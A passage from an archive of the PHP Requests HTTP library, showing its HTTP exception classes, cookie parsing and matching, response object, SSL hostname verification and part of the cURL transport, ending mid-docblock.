}Exception/HTTP/304.php000066600000000606151114300000010267 0ustar00<?php
/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests
 */

/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_304 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 304;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Modified';
}Exception/HTTP/511.php000066600000001027151114300000010265 0ustar00<?php
/**
 * Exception for 511 Network Authentication Required responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */

/**
 * Exception for 511 Network Authentication Required responses
 *
 * @see https://tools.ietf.org/html/rfc6585
 * @package Requests
 */
class Requests_Exception_HTTP_511 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 511;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Network Authentication Required';
}Exception/HTTP/500.php000066600000000641151114300000010264 0ustar00<?php
/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests
 */

/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_500 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 500;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Internal Server Error';
}Exception/HTTP/418.php000066600000000736151114300000010301 0ustar00<?php
/**
 * Exception for 418 I'm A Teapot responses
 *
 * @see https://tools.ietf.org/html/rfc2324
 * @package Requests
 */

/**
 * Exception for 418 I'm A Teapot responses
 *
 * @see https://tools.ietf.org/html/rfc2324
 * @package Requests
 */
class Requests_Exception_HTTP_418 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 418;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = "I'm A Teapot";
}Exception/HTTP/416.php000066600000000677151114300000010303 0ustar00<?php
/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests
 */

/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_416 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 416;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Requested Range Not Satisfiable';
}Exception/HTTP/411.php000066600000000617151114300000010270 0ustar00<?php
/**
 * Exception for 411 Length Required responses
 *
 * @package Requests
 */

/**
 * Exception for 411 Length Required responses
 *
 * @package Requests
 */
class Requests_Exception_HTTP_411 extends Requests_Exception_HTTP {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 411;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Length Required';
}Exception/Transport/cURL.php000066600000001626151114300000012006 0ustar00<?php

class Requests_Exception_Transport_cURL extends Requests_Exception_Transport {

	const EASY = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message
	 */
	public function getReason() {
		return $this->reason;
	}

}
Exception.php000066600000002002151114300000007172 0ustar00<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests
 */

/**
 * Exception for HTTP requests
 *
 * @package Requests
 */
class Requests_Exception extends Exception {
	/**
	 * Type of exception
	 *
	 * @var string
	 */
	protected $type;

	/**
	 * Data associated with the exception
	 *
	 * @var mixed
	 */
	protected $data;

	/**
	 * Create a new exception
	 *
	 * @param string $message Exception message
	 * @param string $type Exception type
	 * @param mixed $data Associated data
	 * @param integer $code Exception numerical code, if applicable
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		parent::__construct($message, $code);

		$this->type = $type;
		$this->data = $data;
	}

	/**
	 * Like {@see getCode()}, but a string code.
	 *
	 * @codeCoverageIgnore
	 * @return string
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * Gives any relevant data
	 *
	 * @codeCoverageIgnore
	 * @return mixed
	 */
	public function getData() {
		return $this->data;
	}
}Cookie.php000066600000031066151114300000006461 0ustar00<?php
/**
 * Cookie storage object
 *
 * @package Requests
 * @subpackage Cookies
 */

/**
 * Cookie storage object
 *
 * @package Requests
 * @subpackage Cookies
 */
class Requests_Cookie {
	/**
	 * Cookie name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @var string
	 */
	public $value;

	/**
	 * Cookie attributes
	 *
	 * Valid keys are (currently) path, domain, expires, max-age, secure and
	 * httponly.
	 *
	 * @var Requests_Utility_CaseInsensitiveDictionary|array Array-like object
	 */
	public $attributes = array();

	/**
	 * Cookie flags
	 *
	 * Valid keys are (currently) creation, last-access, persistent and
	 * host-only.
	 *
	 * @var array
	 */
	public $flags = array();

	/**
	 * Reference time for relative calculations
	 *
	 * This is used in place of `time()` when calculating Max-Age expiration and
	 * checking time validity.
	 *
	 * @var int
	 */
	public $reference_time = 0;

	/**
	 * Create a new cookie object
	 *
	 * @param string $name
	 * @param string $value
	 * @param array|Requests_Utility_CaseInsensitiveDictionary $attributes Associative array of attribute data
	 */
	public function __construct($name, $value, $attributes = array(), $flags = array(), $reference_time = null) {
		$this->name = $name;
		$this->value = $value;
		$this->attributes = $attributes;
		$default_flags = array(
			'creation' => time(),
			'last-access' => time(),
			'persistent' => false,
			'host-only' => true,
		);
		$this->flags = array_merge($default_flags, $flags);

		$this->reference_time = time();
		if ($reference_time !== null) {
			$this->reference_time = $reference_time;
		}

		$this->normalize();
	}

	/**
	 * Check if a cookie is expired.
	 *
	 * Checks the age against $this->reference_time to determine if the cookie
	 * is expired.
	 *
	 * @return boolean True if expired, false if time is valid.
	 */
	public function is_expired() {
		// RFC6265, s. 4.1.2.2:
		// If a cookie has both the Max-Age and the Expires attribute, the Max-
		// Age attribute has precedence and controls the expiration date of the
		// cookie.
		if (isset($this->attributes['max-age'])) {
			$max_age = $this->attributes['max-age'];
			return $max_age < $this->reference_time;
		}

		if (isset($this->attributes['expires'])) {
			$expires = $this->attributes['expires'];
			return $expires < $this->reference_time;
		}

		return false;
	}

	/**
	 * Check if a cookie is valid for a given URI
	 *
	 * @param Requests_IRI $uri URI to check
	 * @return boolean Whether the cookie is valid for the given URI
	 */
	public function uri_matches(Requests_IRI $uri) {
		if (!$this->domain_matches($uri->host)) {
			return false;
		}

		if (!$this->path_matches($uri->path)) {
			return false;
		}

		return empty($this->attributes['secure']) || $uri->scheme === 'https';
	}

	/**
	 * Check if a cookie is valid for a given domain
	 *
	 * @param string $string Domain to check
	 * @return boolean Whether the cookie is valid for the given domain
	 */
	public function domain_matches($string) {
		if (!isset($this->attributes['domain'])) {
			// Cookies created manually; cookies created by Requests will set
			// the domain to the requested domain
			return true;
		}

		$domain_string = $this->attributes['domain'];
		if ($domain_string === $string) {
			// The domain string and the string are identical.
			return true;
		}

		// If the cookie is marked as host-only and we don't have an exact
		// match, reject the cookie
		if ($this->flags['host-only'] === true) {
			return false;
		}

		if (strlen($string) <= strlen($domain_string)) {
			// For obvious reasons, the string cannot be a suffix if the domain
			// is shorter than the domain string
			return false;
		}

		if (substr($string, -1 * strlen($domain_string)) !== $domain_string) {
			// The domain string should be a suffix of the string.
			return false;
		}

		$prefix = substr($string, 0, strlen($string) - strlen($domain_string));
		if (substr($prefix, -1) !== '.') {
			// The last character of the string that is not included in the
			// domain string should be a %x2E (".") character.
			return false;
		}

		// The string should be a host name (i.e., not an IP address).
		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $string);
	}

	/**
	 * Check if a cookie is valid for a given path
	 *
	 * From the path-match check in RFC 6265 section 5.1.4
	 *
	 * @param string $request_path Path to check
	 * @return boolean Whether the cookie is valid for the given path
	 */
	public function path_matches($request_path) {
		if (empty($request_path)) {
			// Normalize empty path to root
			$request_path = '/';
		}

		if (!isset($this->attributes['path'])) {
			// Cookies created manually; cookies created by Requests will set
			// the path to the requested path
			return true;
		}

		$cookie_path = $this->attributes['path'];

		if ($cookie_path === $request_path) {
			// The cookie-path and the request-path are identical.
			return true;
		}

		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
			if (substr($cookie_path, -1) === '/') {
				// The cookie-path is a prefix of the request-path, and the last
				// character of the cookie-path is %x2F ("/").
				return true;
			}

			if (substr($request_path, strlen($cookie_path), 1) === '/') {
				// The cookie-path is a prefix of the request-path, and the
				// first character of the request-path that is not included in
				// the cookie-path is a %x2F ("/") character.
				return true;
			}
		}

		return false;
	}

	/**
	 * Normalize cookie and attributes
	 *
	 * @return boolean Whether the cookie was successfully normalized
	 */
	public function normalize() {
		foreach ($this->attributes as $key => $value) {
			$orig_value = $value;
			$value = $this->normalize_attribute($key, $value);
			if ($value === null) {
				unset($this->attributes[$key]);
				continue;
			}

			if ($value !== $orig_value) {
				$this->attributes[$key] = $value;
			}
		}

		return true;
	}

	/**
	 * Parse an individual cookie attribute
	 *
	 * Handles parsing individual attributes from the cookie values.
	 *
	 * @param string $name Attribute name
	 * @param string|boolean $value Attribute value (string value, or true if empty/flag)
	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
	 */
	protected function normalize_attribute($name, $value) {
		switch (strtolower($name)) {
			case 'expires':
				// Expiration parsing, as per RFC 6265 section 5.2.1
				if (is_int($value)) {
					return $value;
				}

				$expiry_time = strtotime($value);
				if ($expiry_time === false) {
					return null;
				}

				return $expiry_time;

			case 'max-age':
				// Expiration parsing, as per RFC 6265 section 5.2.2
				if (is_int($value)) {
					return $value;
				}

				// Check that we have a valid age
				if (!preg_match('/^-?\d+$/', $value)) {
					return null;
				}

				$delta_seconds = (int) $value;
				if ($delta_seconds <= 0) {
					$expiry_time = 0;
				}
				else {
					$expiry_time = $this->reference_time + $delta_seconds;
				}

				return $expiry_time;

			case 'domain':
				// Domain normalization, as per RFC 6265 section 5.2.3
				if ($value[0] === '.') {
					$value = substr($value, 1);
				}

				return $value;

			default:
				return $value;
		}
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * This is used when sending cookies to a server.
	 *
	 * @return string Cookie formatted for Cookie header
	 */
	public function format_for_header() {
		return sprintf('%s=%s', $this->name, $this->value);
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see Requests_Cookie::format_for_header}
	 * @return string
	 */
	public function formatForHeader() {
		return $this->format_for_header();
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * This is used when sending cookies to clients. This isn't really
	 * applicable to client-side usage, but might be handy for debugging.
	 *
	 * @return string Cookie formatted for Set-Cookie header
	 */
	public function format_for_set_cookie() {
		$header_value = $this->format_for_header();
		if (!empty($this->attributes)) {
			$parts = array();
			foreach ($this->attributes as $key => $value) {
				// Ignore non-associative attributes
				if (is_numeric($key)) {
					$parts[] = $value;
				}
				else {
					$parts[] = sprintf('%s=%s', $key, $value);
				}
			}

			$header_value .= '; ' . implode('; ', $parts);
		}
		return $header_value;
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see Requests_Cookie::format_for_set_cookie}
	 * @return string
	 */
	public function formatForSetCookie() {
		return $this->format_for_set_cookie();
	}

	/**
	 * Get the cookie value
	 *
	 * Attributes and other data can be accessed via methods.
	 */
	public function __toString() {
		return $this->value;
	}

	/**
	 * Parse a cookie string into a cookie object
	 *
	 * Based on Mozilla's parsing code in Firefox and related projects, which
	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
	 * specifies some of this handling, but not in a thorough manner.
	 *
	 * @param string Cookie header value (from a Set-Cookie header)
	 * @return Requests_Cookie Parsed cookie object
	 */
	public static function parse($string, $name = '', $reference_time = null) {
		$parts = explode(';', $string);
		$kvparts = array_shift($parts);

		if (!empty($name)) {
			$value = $string;
		}
		elseif (strpos($kvparts, '=') === false) {
			// Some sites might only have a value without the equals separator.
			// Deviate from RFC 6265 and pretend it was actually a blank name
			// (`=foo`)
			//
			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
			$name = '';
			$value = $kvparts;
		}
		else {
			list($name, $value) = explode('=', $kvparts, 2);
		}
		$name = trim($name);
		$value = trim($value);

		// Attribute key are handled case-insensitively
		$attributes = new Requests_Utility_CaseInsensitiveDictionary();

		if (!empty($parts)) {
			foreach ($parts as $part) {
				if (strpos($part, '=') === false) {
					$part_key = $part;
					$part_value = true;
				}
				else {
					list($part_key, $part_value) = explode('=', $part, 2);
					$part_value = trim($part_value);
				}

				$part_key = trim($part_key);
				$attributes[$part_key] = $part_value;
			}
		}

		return new Requests_Cookie($name, $value, $attributes, array(), $reference_time);
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @param Requests_Response_Headers $headers Headers to parse from
	 * @param Requests_IRI|null $origin URI for comparing cookie origins
	 * @param int|null $time Reference time for expiration calculation
	 * @return array
	 */
	public static function parse_from_headers(Requests_Response_Headers $headers, Requests_IRI $origin = null, $time = null) {
		$cookie_headers = $headers->getValues('Set-Cookie');
		if (empty($cookie_headers)) {
			return array();
		}

		$cookies = array();
		foreach ($cookie_headers as $header) {
			$parsed = self::parse($header, '', $time);

			// Default domain/path attributes
			if (empty($parsed->attributes['domain']) && !empty($origin)) {
				$parsed->attributes['domain'] = $origin->host;
				$parsed->flags['host-only'] = true;
			}
			else {
				$parsed->flags['host-only'] = false;
			}

			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
			if (!$path_is_valid && !empty($origin)) {
				$path = $origin->path;

				// Default path normalization as per RFC 6265 section 5.1.4
				if (substr($path, 0, 1) !== '/') {
					// If the uri-path is empty or if the first character of
					// the uri-path is not a %x2F ("/") character, output
					// %x2F ("/") and skip the remaining steps.
					$path = '/';
				}
				elseif (substr_count($path, '/') === 1) {
					// If the uri-path contains no more than one %x2F ("/")
					// character, output %x2F ("/") and skip the remaining
					// step.
					$path = '/';
				}
				else {
					// Output the characters of the uri-path from the first
					// character up to, but not including, the right-most
					// %x2F ("/").
					$path = substr($path, 0, strrpos($path, '/'));
				}
				$parsed->attributes['path'] = $path;
			}

			// Reject invalid cookie domains
			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
				continue;
			}

			$cookies[$parsed->name] = $parsed;
		}

		return $cookies;
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see Requests_Cookie::parse_from_headers}
	 * @return string
	 */
	public static function parseFromHeaders(Requests_Response_Headers $headers) {
		return self::parse_from_headers($headers);
	}
}
Response.php000066600000004711151114300000007043 0ustar00<?php
/**
 * HTTP response class
 *
 * Contains a response from Requests::request()
 * @package Requests
 */

/**
 * HTTP response class
 *
 * Contains a response from Requests::request()
 * @package Requests
 */
class Requests_Response {
	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Requests_Response_Headers();
		$this->cookies = new Requests_Cookie_Jar();
	}

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var Requests_Response_Headers Array-like object representing headers
	 */
	public $headers = array();

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of Requests_Response objects
	 */
	public $history = array();

	/**
	 * Cookies from the request
	 *
	 * @var Requests_Cookie_Jar Array-like object representing a cookie jar
	 */
	public $cookies = array();

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, array(300, 301, 302, 303, 307)) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @throws Requests_Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws Requests_Exception_HTTP On non-successful status code. Exception class corresponds to code (e.g. {@see Requests_Exception_HTTP_404})
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if (!$allow_redirects) {
				throw new Requests_Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		}
		elseif (!$this->success) {
			$exception = Requests_Exception_HTTP::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}
}
SSL.php000066600000007666151114300000005722 0ustar00<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_SSL {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 * @param string $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 */
	public static function verify_certificate($host, $cert) {
		// Calculate the valid wildcard match if the host is not an IP address
		$parts = explode('.', $host);
		if (ip2long($host) === false) {
			$parts[0] = '*';
		}
		$wildcard = implode('.', $parts);

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']) && !empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!$has_dns_alt && !empty($cert['subject']['CN'])) {
			// Check for a match
			if (self::match_domain($host, $cert['subject']['CN']) === true) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string $reference Reference dNSName
	 * @return boolean Is the name valid?
	 */
	public static function verify_reference_name($reference) {
		$parts = explode('.', $reference);

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
	 * Match a hostname against a dNSName reference
	 *
	 * @param string $host Requested host
	 * @param string $reference dNSName to match against
	 * @return boolean Does the domain match?
	 */
	public static function match_domain($host, $reference) {
		// Check if the reference is blacklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ($host === $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's
		// ruleset.
		if (ip2long($host) === false) {
			$parts = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === $reference) {
				return true;
			}
		}

		return false;
	}
}Utility/FilteredIterator.php000066600000001476151114300000012165 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_Utility_FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	protected $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array $data
	 * @param callable $callback Callback to be called on each value
	 */
	public function __construct($data, $callback) {
		parent::__construct($data);

		$this->callback = $callback;
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	public function current() {
		$value = parent::current();
		$value = call_user_func($this->callback, $value);
		return $value;
	}

}
Utility/CaseInsensitiveDictionary.php000066600000003711151114300000014031 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_Utility_CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $data = array();

	/**
	 * Creates a case insensitive dictionary.
	 *
	 * @param array $data Dictionary/map to convert to case-insensitive
	 */
	public function __construct(array $data = array()) {
		foreach ($data as $key => $value) {
			$this->offsetSet($key, $value);
		}
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $key Item key
	 * @return boolean Does the item exist?
	 */
	public function offsetExists($key) {
		$key = strtolower($key);
		return isset($this->data[$key]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $key Item key
	 * @return string Item value
	 */
	public function offsetGet($key) {
		$key = strtolower($key);
		if (!isset($this->data[$key])) {
			return null;
		}

		return $this->data[$key];
	}

	/**
	 * Set the given item
	 *
	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
	 *
	 * @param string $key Item name
	 * @param string $value Item value
	 */
	public function offsetSet($key, $value) {
		if ($key === null) {
			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$key = strtolower($key);
		$this->data[$key] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $key
	 */
	public function offsetUnset($key) {
		unset($this->data[strtolower($key)]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return ArrayIterator
	 */
	public function getIterator() {
		return new ArrayIterator($this->data);
	}

	/**
	 * Get the headers as an array
	 *
	 * @return array Header data
	 */
	public function getAll() {
		return $this->data;
	}
}
Transport/cURL.php000066600000035735151114300000010060 0ustar00<?php
/**
 * cURL HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */

/**
 * cURL HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */
class Requests_Transport_cURL implements Requests_Transport {
	const CURL_7_10_5 = 0x070A05;
	const CURL_7_16_2 = 0x071002;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Raw body data
	 *
	 * @var string
	 */
	public $response_data = '';

	/**
	 * Information on the current request
	 *
	 * @var array cURL information array, see {@see https://secure.php.net/curl_getinfo}
	 */
	public $info;

	/**
	 * Version string
	 *
	 * @var long
	 */
	public $version;

	/**
	 * cURL handle
	 *
	 * @var resource
	 */
	protected $handle;

	/**
	 * Hook dispatcher instance
	 *
	 * @var Requests_Hooks
	 */
	protected $hooks;

	/**
	 * Have we finished the headers yet?
	 *
	 * @var boolean
	 */
	protected $done_headers = false;

	/**
	 * If streaming to a file, keep the file pointer
	 *
	 * @var resource
	 */
	protected $stream_handle;

	/**
	 * How many bytes are in the response body?
	 *
	 * @var int
	 */
	protected $response_bytes;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	protected $response_byte_limit;

	/**
	 * Constructor
	 */
	public function __construct() {
		$curl = curl_version();
		$this->version = $curl['version_number'];
		$this->handle = curl_init();

		curl_setopt($this->handle, CURLOPT_HEADER, false);
		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
		if ($this->version >= self::CURL_7_10_5) {
			curl_setopt($this->handle, CURLOPT_ENCODING, '');
		}
		if (defined('CURLOPT_PROTOCOLS')) {
			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
	}

	/**
	 * Destructor
	 */
	public function __destruct() {
		if (is_resource($this->handle)) {
			curl_close($this->handle);
		}
	}

	/**
	 * Perform a request
	 *
	 * @throws Requests_Exception On a cURL error (`curlerror`)
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = array(), $data = array(), $options = array()) {
		$this->hooks = $options['hooks'];

		$this->setup_handle($url, $headers, $data, $options);

		$options['hooks']->dispatch('curl.before_send', array(&$this->handle));

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data = '';
		$this->response_bytes = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		if (isset($options['verify'])) {
			if ($options['verify'] === false) {
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
			}
			elseif (is_string($options['verify'])) {
				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
			}
		}

		if (isset($options['verifyname']) && $options['verifyname'] === false) {
			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
		}

		curl_exec($this->handle);
		$response = $this->response_data;

		$options['hooks']->dispatch('curl.after_send', array());

		if (curl_errno($this->handle) === 23 || curl_errno($this->handle) === 61) {
			// Reset encoding and try again
			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');

			$this->response_data = '';
			$this->response_bytes = 0;
			curl_exec($this->handle);
			$response = $this->response_data;
		}

		$this->process_response($response, $options);

		// Need to remove the $this reference from the curl handle.
		// Otherwise Requests_Transport_cURL wont be garbage collected and the curl_close() will never be called.
		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);

		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data
	 * @param array $options Global options
	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return array();
		}

		$multihandle = curl_multi_init();
		$subrequests = array();
		$subhandles = array();

		$class = get_class($this);
		foreach ($requests as $id => $request) {
			$subrequests[$id] = new $class();
			$subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
			$request['options']['hooks']->dispatch('curl.before_multi_add', array(&$subhandles[$id]));
			curl_multi_add_handle($multihandle, $subhandles[$id]);
		}

		$completed = 0;
		$responses = array();

		$request['options']['hooks']->dispatch('curl.before_multi_exec', array(&$multihandle));

		do {
			$active = false;

			do {
				$status = curl_multi_exec($multihandle, $active);
			}
			while ($status === CURLM_CALL_MULTI_PERFORM);

			$to_process = array();

			// Read the information as needed
			while ($done = curl_multi_info_read($multihandle)) {
				$key = array_search($done['handle'], $subhandles, true);
				if (!isset($to_process[$key])) {
					$to_process[$key] = $done;
				}
			}

			// Parse the finished requests before we start getting the new ones
			foreach ($to_process as $key => $done) {
				$options = $requests[$key]['options'];
				if (CURLE_OK !== $done['result']) {
					//get error string for handle.
					$reason = curl_error($done['handle']);
					$exception = new Requests_Exception_Transport_cURL(
									$reason,
									Requests_Exception_Transport_cURL::EASY,
									$done['handle'],
									$done['result']
								);
					$responses[$key] = $exception;
					$options['hooks']->dispatch('transport.internal.parse_error', array(&$responses[$key], $requests[$key]));
				}
				else {
					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);

					$options['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$key], $requests[$key]));
				}

				curl_multi_remove_handle($multihandle, $done['handle']);
				curl_close($done['handle']);

				if (!is_string($responses[$key])) {
					$options['hooks']->dispatch('multiple.request.complete', array(&$responses[$key], $key));
				}
				$completed++;
			}
		}
		while ($active || $completed < count($subrequests));

		$request['options']['hooks']->dispatch('curl.after_multi_exec', array(&$multihandle));

		curl_multi_close($multihandle);

		return $responses;
	}

	/**
	 * Get the cURL handle for use in a multi-request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
